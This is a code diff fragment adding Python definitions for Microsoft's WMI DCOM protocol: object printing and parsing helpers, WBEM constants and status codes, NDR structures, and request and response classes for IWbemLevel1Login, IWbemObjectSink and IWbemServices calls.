+                if properties[pName]['value'] is not None:
+                    if properties[pName]['type'] == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value:
+                        print('= IWbemClassObject\n')
+                    elif properties[pName]['type'] == CIM_TYPE_ENUM.CIM_ARRAY_OBJECT.value:
+                        if properties[pName]['value'] == 0:
+                            print('= %s\n' % properties[pName]['value'])
+                        else:
+                            print('= %s\n' % list('IWbemClassObject' for _ in range(len(properties[pName]['value']))))
+                    else:
+                        print('= %s\n' % properties[pName]['value'])
+                else:
+                    print('\n')
+
+        print() 
+        methods = pClass.getMethods()
+        for methodName in methods:
+            for qualifier in methods[methodName]['qualifiers']:
+                print('\t[%s]' % qualifier)
+
+            if methods[methodName]['InParams'] is None and methods[methodName]['OutParams'] is None: 
+                print('\t%s %s();\n' % ('void', methodName))
+            if methods[methodName]['InParams'] is None and len(methods[methodName]['OutParams']) == 1:
+                print('\t%s %s();\n' % (methods[methodName]['OutParams']['ReturnValue']['stype'], methodName))
+            else:
+                returnValue = b''
+                if methods[methodName]['OutParams'] is not None:
+                    # Search the Return Value
+                    #returnValue = (item for item in method['OutParams'] if item["name"] == "ReturnValue").next()
+                    if 'ReturnValue' in methods[methodName]['OutParams']:
+                        returnValue = methods[methodName]['OutParams']['ReturnValue']['stype']
+ 
+                print('\t%s %s(\n' % (returnValue, methodName), end=' ')
+                if methods[methodName]['InParams'] is not None:
+                    for pName  in methods[methodName]['InParams']:
+                        print('\t\t[in]    %s %s,' % (methods[methodName]['InParams'][pName]['stype'], pName))
+
+                if methods[methodName]['OutParams'] is not None:
+                    for pName in methods[methodName]['OutParams']:
+                        if pName != 'ReturnValue':
+                            print('\t\t[out]    %s %s,' % (methods[methodName]['OutParams'][pName]['stype'], pName))
+
+                print('\t);\n')
+
+        print("}")
+
+    def parseClass(self, pClass, cInstance = None):
+        classDict = OrderedDict()
+        classDict['name'] = pClass.getClassName()
+        classDict['qualifiers'] = pClass.getQualifiers()
+        classDict['properties'] = pClass.getProperties()
+        classDict['methods'] = pClass.getMethods()
+        if cInstance is not None:
+            classDict['values'] = cInstance.getValues(classDict['properties'])
+        else:
+            classDict['values'] = None
+
+        return classDict
+
+    def parseObject(self):
+        if (self['ObjectFlags'] & 0x01) == 0:
+            # instance
+            ctCurrent = self['InstanceType']['CurrentClass']
+            currentName = ctCurrent.getClassName()
+            if currentName is not None:
+                self.ctCurrent = self.parseClass(ctCurrent, self['InstanceType'])
+            return
+        else: 
+            ctParent = self['ClassType']['ParentClass']
+            ctCurrent = self['ClassType']['CurrentClass']
+
+            parentName = ctParent.getClassName()
+            if parentName is not None:
+                self.ctParent = self.parseClass(ctParent)
+
+            currentName = ctCurrent.getClassName()
+            if currentName is not None:
+                self.ctCurrent = self.parseClass(ctCurrent)
+
+    def printInformation(self):
+        # First off, do we have a class?
+        if (self['ObjectFlags'] & 0x01) == 0:
+            # instance
+            ctCurrent = self['InstanceType']['CurrentClass']
+            currentName = ctCurrent.getClassName()
+            if currentName is not None:
+                self.printClass(ctCurrent, self['InstanceType'])
+            return
+        else: 
+            ctParent = self['ClassType']['ParentClass']
+            ctCurrent = self['ClassType']['CurrentClass']
+
+            parentName = ctParent.getClassName()
+            if parentName is not None:
+                self.printClass(ctParent)
+
+            currentName = ctCurrent.getClassName()
+            if currentName is not None:
+                self.printClass(ctCurrent)
+
+# 2.2.70 MethodSignatureBlock
+class METHOD_SIGNATURE_BLOCK(Structure):
+    commonHdr = (
+        ('EncodingLength', ENCODING_LENGTH),
+    )
+    tail = (
+        ('_ObjectBlock', '_-ObjectBlock', 'self["EncodingLength"]'),
+        ('ObjectBlock', ':', OBJECT_BLOCK),
+    )
+    def __init__(self, data = None, alignment = 0):
+        Structure.__init__(self, data, alignment)
+        if data is not None:
+            self.fromString(data)
+            if self['EncodingLength'] > 0:
+                self.structure = ()
+                self.structure += self.tail
+            self.fromString(data)
+        else:
+            self.data = None
+
+# 2.2.1 EncodingUnit
+class ENCODING_UNIT(Structure):
+    structure = (
+        ('Signature', SIGNATURE),
+        ('ObjectEncodingLength', OBJECT_ENCODING_LENGTH),
+        ('_ObjectBlock', '_-ObjectBlock', 'self["ObjectEncodingLength"]'),
+        ('ObjectBlock', ':', OBJECT_BLOCK),
+    )
+
+################################################################################
+# CONSTANTS
+################################################################################
+# 1.9 Standards Assignments
+CLSID_WbemLevel1Login     = string_to_bin('8BC3F05E-D86B-11D0-A075-00C04FB68820')
+CLSID_WbemBackupRestore   = string_to_bin('C49E32C6-BC8B-11D2-85D4-00105A1F8304')
+CLSID_WbemClassObject     = string_to_bin('4590F812-1D3A-11D0-891F-00AA004B2E24')
+
+IID_IWbemLevel1Login      = uuidtup_to_bin(('F309AD18-D86A-11d0-A075-00C04FB68820', '0.0'))
+IID_IWbemLoginClientID    = uuidtup_to_bin(('d4781cd6-e5d3-44df-ad94-930efe48a887', '0.0'))
+IID_IWbemLoginHelper      = uuidtup_to_bin(('541679AB-2E5F-11d3-B34E-00104BCC4B4A', '0.0'))
+IID_IWbemServices         = uuidtup_to_bin(('9556DC99-828C-11CF-A37E-00AA003240C7', '0.0'))
+IID_IWbemBackupRestore    = uuidtup_to_bin(('C49E32C7-BC8B-11d2-85D4-00105A1F8304', '0.0'))
+IID_IWbemBackupRestoreEx  = uuidtup_to_bin(('A359DEC5-E813-4834-8A2A-BA7F1D777D76', '0.0'))
+IID_IWbemClassObject      = uuidtup_to_bin(('DC12A681-737F-11CF-884D-00AA004B2E24', '0.0'))
+IID_IWbemContext          = uuidtup_to_bin(('44aca674-e8fc-11d0-a07c-00c04fb68820', '0.0'))
+IID_IEnumWbemClassObject  = uuidtup_to_bin(('027947e1-d731-11ce-a357-000000000001', '0.0'))
+IID_IWbemCallResult       = uuidtup_to_bin(('44aca675-e8fc-11d0-a07c-00c04fb68820', '0.0'))
+IID_IWbemFetchSmartEnum   = uuidtup_to_bin(('1C1C45EE-4395-11d2-B60B-00104B703EFD', '0.0'))
+IID_IWbemWCOSmartEnum     = uuidtup_to_bin(('423EC01E-2E35-11d2-B604-00104B703EFD', '0.0'))
+
+error_status_t = ULONG
+
+# lFlags
+WBEM_FLAG_RETURN_WBEM_COMPLETE          = 0x00000000
+WBEM_FLAG_UPDATE_ONLY                   = 0x00000001
+WBEM_FLAG_CREATE_ONLY                   = 0x00000002
+WBEM_FLAG_RETURN_IMMEDIATELY            = 0x00000010
+WBEM_FLAG_UPDATE_SAFE_MODE              = 0x00000020
+WBEM_FLAG_FORWARD_ONLY                  = 0x00000020
+WBEM_FLAG_NO_ERROR_OBJECT               = 0x00000040
+WBEM_FLAG_UPDATE_FORCE_MODE             = 0x00000040
+WBEM_FLAG_SEND_STATUS                   = 0x00000080
+WBEM_FLAG_ENSURE_LOCATABLE              = 0x00000100
+WBEM_FLAG_DIRECT_READ                   = 0x00000200
+WBEM_MASK_RESERVED_FLAGS                = 0x0001F000
+WBEM_FLAG_USE_AMENDED_QUALIFIERS        = 0x00020000
+WBEM_FLAG_STRONG_VALIDATION             = 0x00100000
+WBEM_FLAG_BACKUP_RESTORE_FORCE_SHUTDOWN = 0x00000001
+
+WBEM_INFINITE = 0xffffffff
+
+################################################################################
+# STRUCTURES
+################################################################################
+class UCHAR_ARRAY_CV(NDRUniConformantVaryingArray):
+    item = 'c'
+
+class PUCHAR_ARRAY_CV(NDRPOINTER):
+    referent = (
+        ('Data', UCHAR_ARRAY_CV),
+    )
+
+class PMInterfacePointer_ARRAY_CV(NDRUniConformantVaryingArray):
+    item = PMInterfacePointer
+
+REFGUID = PGUID
+
+class ULONG_ARRAY(NDRUniConformantArray):
+    item = ULONG
+
+class PULONG_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', ULONG_ARRAY),
+    )
+
+# 2.2.5 WBEM_CHANGE_FLAG_TYPE Enumeration
+class WBEM_CHANGE_FLAG_TYPE(NDRENUM):
+    # [v1_enum] type
+    structure = (
+        ('Data', '<L'),
+    )
+    class enumItems(Enum):
+        WBEM_FLAG_CREATE_OR_UPDATE  = 0x00
+        WBEM_FLAG_UPDATE_ONLY       = 0x01
+        WBEM_FLAG_CREATE_ONLY       = 0x02
+        WBEM_FLAG_UPDATE_SAFE_MODE  = 0x20
+        WBEM_FLAG_UPDATE_FORCE_MODE = 0x40
+
+# 2.2.6 WBEM_GENERIC_FLAG_TYPE Enumeration
+class WBEM_GENERIC_FLAG_TYPE(NDRENUM):
+    # [v1_enum] type
+    structure = (
+        ('Data', '<L'),
+    )
+    class enumItems(Enum):
+        WBEM_FLAG_RETURN_WBEM_COMPLETE   = 0x00
+        WBEM_FLAG_RETURN_IMMEDIATELY     = 0x10
+        WBEM_FLAG_FORWARD_ONLY           = 0x20
+        WBEM_FLAG_NO_ERROR_OBJECT        = 0x40
+        WBEM_FLAG_SEND_STATUS            = 0x80
+        WBEM_FLAG_ENSURE_LOCATABLE       = 0x100
+        WBEM_FLAG_DIRECT_READ            = 0x200
+        WBEM_MASK_RESERVED_FLAGS         = 0x1F000
+        WBEM_FLAG_USE_AMENDED_QUALIFIERS = 0x20000
+        WBEM_FLAG_STRONG_VALIDATION      = 0x100000
+
+# 2.2.7 WBEM_STATUS_TYPE Enumeration
+class WBEM_STATUS_TYPE(NDRENUM):
+    class enumItems(Enum):
+        WBEM_STATUS_COMPLETE     = 0x00
+        WBEM_STATUS_REQUIREMENTS = 0x01
+        WBEM_STATUS_PROGRESS     = 0x02
+
+# 2.2.8 WBEM_TIMEOUT_TYPE Enumeration
+class WBEM_TIMEOUT_TYPE(NDRENUM):
+    # [v1_enum] type
+    structure = (
+        ('Data', '<L'),
+    )
+    class enumItems(Enum):
+        WBEM_NO_WAIT  = 0x00000000
+        WBEM_INFINITE = 0xFFFFFFFF
+
+# 2.2.9 WBEM_QUERY_FLAG_TYPE Enumeration
+class WBEM_QUERY_FLAG_TYPE(NDRENUM):
+    # [v1_enum] type
+    structure = (
+        ('Data', '<L'),
+    )
+    class enumItems(Enum):
+        WBEM_FLAG_DEEP      = 0x00000000
+        WBEM_FLAG_SHALLOW   = 0x00000001
+        WBEM_FLAG_PROTOTYPE = 0x00000002
+
+# 2.2.10 WBEM_BACKUP_RESTORE_FLAGS Enumeration
+class WBEM_BACKUP_RESTORE_FLAGS(NDRENUM):
+    # [v1_enum] type
+    structure = (
+        ('Data', '<L'),
+    )
+    class enumItems(Enum):
+        WBEM_FLAG_BACKUP_RESTORE_FORCE_SHUTDOWN = 0x00000001
+
+# 2.2.11 WBEMSTATUS Enumeration
+class WBEMSTATUS(NDRENUM):
+    # [v1_enum] type
+    structure = (
+        ('Data', '<L'),
+    )
+    class enumItems(Enum):
+        WBEM_S_NO_ERROR                      = 0x00000000
+        WBEM_S_FALSE                         = 0x00000001
+        WBEM_S_TIMEDOUT                      = 0x00040004
+        WBEM_S_NEW_STYLE                     = 0x000400FF
+        WBEM_S_PARTIAL_RESULTS               = 0x00040010
+        WBEM_E_FAILED                        = 0x80041001
+        WBEM_E_NOT_FOUND                     = 0x80041002
+        WBEM_E_ACCESS_DENIED                 = 0x80041003
+        WBEM_E_PROVIDER_FAILURE              = 0x80041004
+        WBEM_E_TYPE_MISMATCH                 = 0x80041005
+        WBEM_E_OUT_OF_MEMORY                 = 0x80041006
+        WBEM_E_INVALID_CONTEXT               = 0x80041007
+        WBEM_E_INVALID_PARAMETER             = 0x80041008
+        WBEM_E_NOT_AVAILABLE                 = 0x80041009
+        WBEM_E_CRITICAL_ERROR                = 0x8004100a
+        WBEM_E_NOT_SUPPORTED                 = 0x8004100c
+        WBEM_E_PROVIDER_NOT_FOUND            = 0x80041011
+        WBEM_E_INVALID_PROVIDER_REGISTRATION = 0x80041012
+        WBEM_E_PROVIDER_LOAD_FAILURE         = 0x80041013
+        WBEM_E_INITIALIZATION_FAILURE        = 0x80041014
+        WBEM_E_TRANSPORT_FAILURE             = 0x80041015
+        WBEM_E_INVALID_OPERATION             = 0x80041016
+        WBEM_E_ALREADY_EXISTS                = 0x80041019
+        WBEM_E_UNEXPECTED                    = 0x8004101d
+        WBEM_E_INCOMPLETE_CLASS              = 0x80041020
+        WBEM_E_SHUTTING_DOWN                 = 0x80041033
+        E_NOTIMPL                            = 0x80004001
+        WBEM_E_INVALID_SUPERCLASS            = 0x8004100D
+        WBEM_E_INVALID_NAMESPACE             = 0x8004100E
+        WBEM_E_INVALID_OBJECT                = 0x8004100F
+        WBEM_E_INVALID_CLASS                 = 0x80041010
+        WBEM_E_INVALID_QUERY                 = 0x80041017
+        WBEM_E_INVALID_QUERY_TYPE            = 0x80041018
+        WBEM_E_PROVIDER_NOT_CAPABLE          = 0x80041024
+        WBEM_E_CLASS_HAS_CHILDREN            = 0x80041025
+        WBEM_E_CLASS_HAS_INSTANCES           = 0x80041026
+        WBEM_E_ILLEGAL_NULL                  = 0x80041028
+        WBEM_E_INVALID_CIM_TYPE              = 0x8004102D
+        WBEM_E_INVALID_METHOD                = 0x8004102E
+        WBEM_E_INVALID_METHOD_PARAMETERS     = 0x8004102F
+        WBEM_E_INVALID_PROPERTY              = 0x80041031
+        WBEM_E_CALL_CANCELLED                = 0x80041032
+        WBEM_E_INVALID_OBJECT_PATH           = 0x8004103A
+        WBEM_E_OUT_OF_DISK_SPACE             = 0x8004103B
+        WBEM_E_UNSUPPORTED_PUT_EXTENSION     = 0x8004103D
+        WBEM_E_QUOTA_VIOLATION               = 0x8004106c
+        WBEM_E_SERVER_TOO_BUSY               = 0x80041045
+        WBEM_E_METHOD_NOT_IMPLEMENTED        = 0x80041055
+        WBEM_E_METHOD_DISABLED               = 0x80041056
+        WBEM_E_UNPARSABLE_QUERY              = 0x80041058
+        WBEM_E_NOT_EVENT_CLASS               = 0x80041059
+        WBEM_E_MISSING_GROUP_WITHIN          = 0x8004105A
+        WBEM_E_MISSING_AGGREGATION_LIST      = 0x8004105B
+        WBEM_E_PROPERTY_NOT_AN_OBJECT        = 0x8004105c
+        WBEM_E_AGGREGATING_BY_OBJECT         = 0x8004105d
+        WBEM_E_BACKUP_RESTORE_WINMGMT_RUNNING= 0x80041060
+        WBEM_E_QUEUE_OVERFLOW                = 0x80041061
+        WBEM_E_PRIVILEGE_NOT_HELD            = 0x80041062
+        WBEM_E_INVALID_OPERATOR              = 0x80041063
+        WBEM_E_CANNOT_BE_ABSTRACT            = 0x80041065
+        WBEM_E_AMENDED_OBJECT                = 0x80041066
+        WBEM_E_VETO_PUT                      = 0x8004107A
+        WBEM_E_PROVIDER_SUSPENDED            = 0x80041081
+        WBEM_E_ENCRYPTED_CONNECTION_REQUIRED = 0x80041087
+        WBEM_E_PROVIDER_TIMED_OUT            = 0x80041088
+        WBEM_E_NO_KEY                        = 0x80041089
+        WBEM_E_PROVIDER_DISABLED             = 0x8004108a
+        WBEM_E_REGISTRATION_TOO_BROAD        = 0x80042001
+        WBEM_E_REGISTRATION_TOO_PRECISE      = 0x80042002
+
+# 2.2.12 WBEM_CONNECT_OPTIONS Enumeration
+class WBEM_CONNECT_OPTIONS(NDRENUM):
+    # [v1_enum] type
+    structure = (
+        ('Data', '<L'),
+    )
+    class enumItems(Enum):
+        WBEM_FLAG_CONNECT_REPOSITORY_ONLY = 0x40
+        WBEM_FLAG_CONNECT_PROVIDERS       = 0x100
+
+# 2.2.14 ObjectArray Structure
+class ObjectArray(Structure):
+    structure = (
+        ('dwByteOrdering', '<L=0'),
+        ('abSignature', '8s="WBEMDATA"'),
+        ('dwSizeOfHeader1', '<L=0x1a'),
+        ('dwDataSize1', '<L=0'),
+        ('dwFlags', '<L=0'),
+        ('bVersion', 'B=1'),
+        ('bPacketType', 'B=0'),
+        ('dwSizeOfHeader2', '<L=8'),
+        ('dwDataSize2', '<L', 'len(self["wbemObjects"])+12'),
+        ('dwSizeOfHeader3', '<L=12'),
+        ('dwDataSize3', '<L', 'len(self["dwDataSize2"])-12)'),
+        ('dwNumObjects', '<L=0'),
+        ('_wbemObjects', '_-wbemObjects', 'self["dwDataSize3"]'),
+        ('wbemObjects', ':'),
+    )
+
+# 2.2.14.1 WBEM_DATAPACKET_OBJECT Structure
+class WBEM_DATAPACKET_OBJECT(Structure):
+    structure = (
+        ('dwSizeOfHeader', '<L=9'),
+        ('dwSizeOfData', '<L','len(self["Object"])'),
+        ('bObjectType', 'B=0'),
+        ('_Object', '_-Object', 'self["dwSizeOfData"]'),
+        ('Object', ':'),
+    )
+
+# 2.2.14.2 WBEMOBJECT_CLASS Structure
+class WBEMOBJECT_CLASS(Structure):
+    structure = (
+        ('dwSizeOfHeader', '<L=8'),
+        ('dwSizeOfData', '<L','len(self["ObjectData"])'),
+        ('_ObjectData', '_-ObjectData', 'self["dwSizeOfData"]'),
+        ('ObjectData', ':'),
+    )
+
+# 2.2.14.3 WBEMOBJECT_INSTANCE Structure
+class WBEMOBJECT_INSTANCE(Structure):
+    structure = (
+        ('dwSizeOfHeader', '<L=0x18'),
+        ('dwSizeOfData', '<L','len(self["ObjectData"])'),
+        ('classID', '16s=b"\x00"*16'),
+        ('_ObjectData', '_-ObjectData', 'self["dwSizeOfData"]'),
+        ('ObjectData', ':'),
+    )
+
+# 2.2.14.4 WBEMOBJECT_INSTANCE_NOCLASS Structure
+class WBEMOBJECT_INSTANCE_NOCLASS(Structure):
+    structure = (
+        ('dwSizeOfHeader', '<L=0x18'),
+        ('dwSizeOfData', '<L','len(self["ObjectData"])'),
+        ('classID', '16s=b"\x00"*16'),
+        ('_ObjectData', '_-ObjectData', 'self["dwSizeOfData"]'),
+        ('ObjectData', ':'),
+    )
+
+# 2.2.15 WBEM_REFRESHED_OBJECT Structure
+class WBEM_REFRESHED_OBJECT(NDRSTRUCT):
+    structure = (
+        ('m_lRequestId', LONG),
+        ('m_lBlobType', LONG),
+        ('m_lBlobLength', LONG),
+        ('m_pBlob', BYTE_ARRAY),
+    )
+
+class WBEM_REFRESHED_OBJECT_ARRAY(NDRUniConformantArray):
+    item = WBEM_REFRESHED_OBJECT
+
+class PWBEM_REFRESHED_OBJECT_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', WBEM_REFRESHED_OBJECT_ARRAY),
+    )
+
+# 2.2.16 WBEM_INSTANCE_BLOB Enumeration
+class WBEM_INSTANCE_BLOB(Structure):
+    structure = (
+        ('Version', '<L=0x1'),
+        ('numObjects', '<L=0'),
+        ('Objects', ':'),
+    )
+
+# 2.2.17 WBEM_INSTANCE_BLOB_TYPE Enumeration
+class WBEM_INSTANCE_BLOB_TYPE(NDRENUM):
+    # [v1_enum] type
+    structure = (
+        ('Data', '<L'),
+    )
+    class enumItems(Enum):
+        WBEM_FLAG_CONNECT_REPOSITORY_ONLY = 0x40
+        WBEM_FLAG_CONNECT_PROVIDERS       = 0x100
+
+# 2.2.26 _WBEM_REFRESH_INFO_NON_HIPERF Structure
+class _WBEM_REFRESH_INFO_NON_HIPERF(NDRSTRUCT):
+    structure = (
+        ('m_wszNamespace', LPWSTR),
+        ('m_pTemplate', PMInterfacePointer),
+    )
+
+# 2.2.27 _WBEM_REFRESH_INFO_REMOTE Structure
+class _WBEM_REFRESH_INFO_REMOTE(NDRSTRUCT):
+    structure = (
+        ('m_pRefresher', PMInterfacePointer),
+        ('m_pTemplate', PMInterfacePointer),
+        ('m_Guid', GUID),
+    )
+
+# 2.2.25 WBEM_REFRESH_TYPE Enumeration
+class WBEM_REFRESH_TYPE(NDRENUM):
+    class enumItems(Enum):
+        WBEM_REFRESH_TYPE_INVALID       = 0
+        WBEM_REFRESH_TYPE_REMOTE        = 3
+        WBEM_REFRESH_TYPE_NON_HIPERF    = 6
+
+# 2.2.28 _WBEM_REFRESH_INFO_UNION Union
+class _WBEM_REFRESH_INFO_UNION(NDRUNION):
+    commonHdr = (
+        ('tag', LONG),
+    )
+    union = {
+        WBEM_REFRESH_TYPE.WBEM_REFRESH_TYPE_REMOTE    : ('m_Remote', _WBEM_REFRESH_INFO_REMOTE),
+        WBEM_REFRESH_TYPE.WBEM_REFRESH_TYPE_NON_HIPERF: ('m_NonHiPerf', _WBEM_REFRESH_INFO_NON_HIPERF),
+        WBEM_REFRESH_TYPE.WBEM_REFRESH_TYPE_INVALID   : ('m_hres', HRESULT),
+    }
+
+# 2.2.20 _WBEM_REFRESH_INFO Structure
+class _WBEM_REFRESH_INFO(NDRSTRUCT):
+    structure = (
+        ('m_lType', LONG),
+        ('m_Info', _WBEM_REFRESH_INFO_UNION),
+        ('m_lCancelId', LONG),
+    )
+
+# 2.2.21 _WBEM_REFRESHER_ID Structure
+class _WBEM_REFRESHER_ID(NDRSTRUCT):
+    structure = (
+        ('m_szMachineName', LPCSTR),
+        ('m_dwProcessId', DWORD),
+        ('m_guidRefresherId', GUID),
+    )
+
+# 2.2.22 _WBEM_RECONNECT_INFO Structure
+class _WBEM_RECONNECT_INFO(NDRSTRUCT):
+    structure = (
+        ('m_lType', LPCSTR),
+        ('m_pwcsPath', LPWSTR),
+    )
+
+class _WBEM_RECONNECT_INFO_ARRAY(NDRUniConformantArray):
+    item = _WBEM_RECONNECT_INFO
+
+# 2.2.23 _WBEM_RECONNECT_RESULTS Structure
+class _WBEM_RECONNECT_RESULTS(NDRSTRUCT):
+    structure = (
+        ('m_lId', LONG),
+        ('m_hr', HRESULT),
+    )
+
+class _WBEM_RECONNECT_RESULTS_ARRAY(NDRUniConformantArray):
+    item = _WBEM_RECONNECT_INFO
+
+
+################################################################################
+# RPC CALLS
+################################################################################
+# 3.1.4.1 IWbemLevel1Login Interface
+# 3.1.4.1.1 IWbemLevel1Login::EstablishPosition (Opnum 3)
+class IWbemLevel1Login_EstablishPosition(DCOMCALL):
+    opnum = 3
+    structure = (
+       ('reserved1', LPWSTR),
+       ('reserved2', DWORD),
+    )
+
+class IWbemLevel1Login_EstablishPositionResponse(DCOMANSWER):
+    structure = (
+       ('LocaleVersion', DWORD),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.1.2 IWbemLevel1Login::RequestChallenge (Opnum 4)
+class IWbemLevel1Login_RequestChallenge(DCOMCALL):
+    opnum = 4
+    structure = (
+       ('reserved1', LPWSTR),
+       ('reserved2', LPWSTR),
+    )
+
+class IWbemLevel1Login_RequestChallengeResponse(DCOMANSWER):
+    structure = (
+       ('reserved3', UCHAR_ARRAY_CV),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.1.3 IWbemLevel1Login::WBEMLogin (Opnum 5)
+class IWbemLevel1Login_WBEMLogin(DCOMCALL):
+    opnum = 5
+    structure = (
+       ('reserved1', LPWSTR),
+       ('reserved2', PUCHAR_ARRAY_CV),
+       ('reserved3', LONG),
+       ('reserved4', PMInterfacePointer),
+    )
+
+class IWbemLevel1Login_WBEMLoginResponse(DCOMANSWER):
+    structure = (
+       ('reserved5', UCHAR_ARRAY_CV),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.1.4 IWbemLevel1Login::NTLMLogin (Opnum 6)
+class IWbemLevel1Login_NTLMLogin(DCOMCALL):
+    opnum = 6
+    structure = (
+       ('wszNetworkResource', LPWSTR),
+       ('wszPreferredLocale', LPWSTR),
+       ('lFlags', LONG),
+       ('pCtx', PMInterfacePointer),
+    )
+
+class IWbemLevel1Login_NTLMLoginResponse(DCOMANSWER):
+    structure = (
+       ('ppNamespace', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.2 IWbemObjectSink Interface Server Details
+# 3.1.4.2.1 IWbemObjectSink::Indicate (Opnum 3) Server details
+class IWbemObjectSink_Indicate(DCOMCALL):
+    opnum = 3
+    structure = (
+       ('lObjectCount', LONG),
+       ('apObjArray', PMInterfacePointer_ARRAY),
+    )
+
+class IWbemObjectSink_IndicateResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.2.2 IWbemObjectSink::SetStatus (Opnum 4) Server Details
+class IWbemObjectSink_SetStatus(DCOMCALL):
+    opnum = 4
+    structure = (
+       ('lFlags', LONG),
+       ('hResult', HRESULT),
+       ('strParam', BSTR),
+       ('pObjParam', PMInterfacePointer),
+    )
+
+class IWbemObjectSink_SetStatusResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3 IWbemServices Interface
+# 3.1.4.3.1 IWbemServices::OpenNamespace (Opnum 3)
+class IWbemServices_OpenNamespace(DCOMCALL):
+    opnum = 3
+    structure = (
+       ('strNamespace', BSTR),
+       ('lFlags', LONG),
+       ('pCtx', PMInterfacePointer),
+       ('ppWorkingNamespace', PMInterfacePointer),
+       ('ppResult', PMInterfacePointer),
+    )
+
+class IWbemServices_OpenNamespaceResponse(DCOMANSWER):
+    structure = (
+       ('ppWorkingNamespace', PPMInterfacePointer),
+       ('ppResult', PPMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.2 IWbemServices::CancelAsyncCall (Opnum 4)
+class IWbemServices_CancelAsyncCall(DCOMCALL):
+    opnum = 4
+    structure = (
+       ('IWbemObjectSink', PMInterfacePointer),
+    )
+
+class IWbemServices_CancelAsyncCallResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.3 IWbemServices::QueryObjectSink (Opnum 5)
+class IWbemServices_QueryObjectSink(DCOMCALL):
+    opnum = 5
+    structure = (
+       ('lFlags', LONG),
+    )
+
+class IWbemServices_QueryObjectSinkResponse(DCOMANSWER):
+    structure = (
+       ('ppResponseHandler', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.4 IWbemServices::GetObject (Opnum 6)
+class IWbemServices_GetObject(DCOMCALL):
+    opnum = 6
+    structure = (
+       ('strObjectPath', BSTR),
+       ('lFlags', LONG),
+       ('pCtx', PMInterfacePointer),
+       ('ppObject', PMInterfacePointer),
+       ('ppCallResult', PMInterfacePointer),
+    )
+
+class IWbemServices_GetObjectResponse(DCOMANSWER):
+    structure = (
+       ('ppObject', PPMInterfacePointer),
+       ('ppCallResult', PPMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.5 IWbemServices::GetObjectAsync (Opnum 7)
+class IWbemServices_GetObjectAsync(DCOMCALL):
+    opnum = 7
+    structure = (
+       ('strObjectPath', BSTR),
+       ('lFlags', LONG),
+       ('pCtx', PMInterfacePointer),
+       ('pResponseHandler', PMInterfacePointer),
+    )
+
+class IWbemServices_GetObjectAsyncResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.6 IWbemServices::PutClass (Opnum 8)
+class IWbemServices_PutClass(DCOMCALL):
+    opnum = 8
+    structure = (
+       ('pObject', PMInterfacePointer),
+       ('lFlags', LONG),
+       ('pCtx', PMInterfacePointer),
+       ('pResponseHandler', PMInterfacePointer),
+       ('ppCallResult', PMInterfacePointer),
+    )
+
+class IWbemServices_PutClassResponse(DCOMANSWER):
+    structure = (
+       ('ppCallResult', PPMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.7 IWbemServices::PutClassAsync (Opnum 9)
+class IWbemServices_PutClassAsync(DCOMCALL):
+    opnum = 9
+    structure = (
+       ('pObject', PMInterfacePointer),
+       ('lFlags', LONG),
+       ('pCtx', PMInterfacePointer),
+       ('pResponseHandler', PMInterfacePointer),
+    )
+
+class IWbemServices_PutClassAsyncResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.8 IWbemServices::DeleteClass (Opnum 10)
+class IWbemServices_DeleteClass(DCOMCALL):
+    opnum = 10
+    structure = (
+       ('strClass', BSTR),
+       ('lFlags', LONG),
+       ('pCtx', PMInterfacePointer),
+       ('ppCallResult', PMInterfacePointer),
+    )
+
+class IWbemServices_DeleteClassResponse(DCOMANSWER):
+    structure = (
+       ('ppCallResult', PPMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.9 IWbemServices::DeleteClassAsync (Opnum 11)
+class IWbemServices_DeleteClassAsync(DCOMCALL):
+    opnum = 11
+    structure = (
+       ('strClass', BSTR),
+       ('lFlags', LONG),
+       ('pCtx', PMInterfacePointer),
+       ('pResponseHandler', PMInterfacePointer),
+    )
+
+class IWbemServices_DeleteClassAsyncResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.10 IWbemServices::CreateClassEnum (Opnum 12)
+class IWbemServices_CreateClassEnum(DCOMCALL):
+    opnum = 12
+    structure = (
+       ('strSuperClass', BSTR),
+       ('lFlags', LONG),
+       ('pCtx', PMInterfacePointer),
+    )
+
+class IWbemServices_CreateClassEnumResponse(DCOMANSWER):
+    structure = (
+       ('ppEnum', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.11 IWbemServices::CreateClassEnumAsync (Opnum 13)
+class IWbemServices_CreateClassEnumAsync(DCOMCALL):
+    opnum = 13
+    structure = (
+       ('strSuperClass', BSTR),
+       ('lFlags', LONG),
+       ('pCtx', PMInterfacePointer),
+       ('pResponseHandler', PMInterfacePointer),
+    )
+
+class IWbemServices_CreateClassEnumAsyncResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.12 IWbemServices::PutInstance (Opnum 14)
+class IWbemServices_PutInstance(DCOMCALL):
+    opnum = 14
+    structure = (
+       ('pInst', PMInterfacePointer),
+       ('lFlags', LONG),
+       ('pCtx', PMInterfacePointer),
+       ('ppCallResult', PMInterfacePointer),
+    )
+
+class IWbemServices_PutInstanceResponse(DCOMANSWER):
+    structure = (
+       ('ppCallResult', PPMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
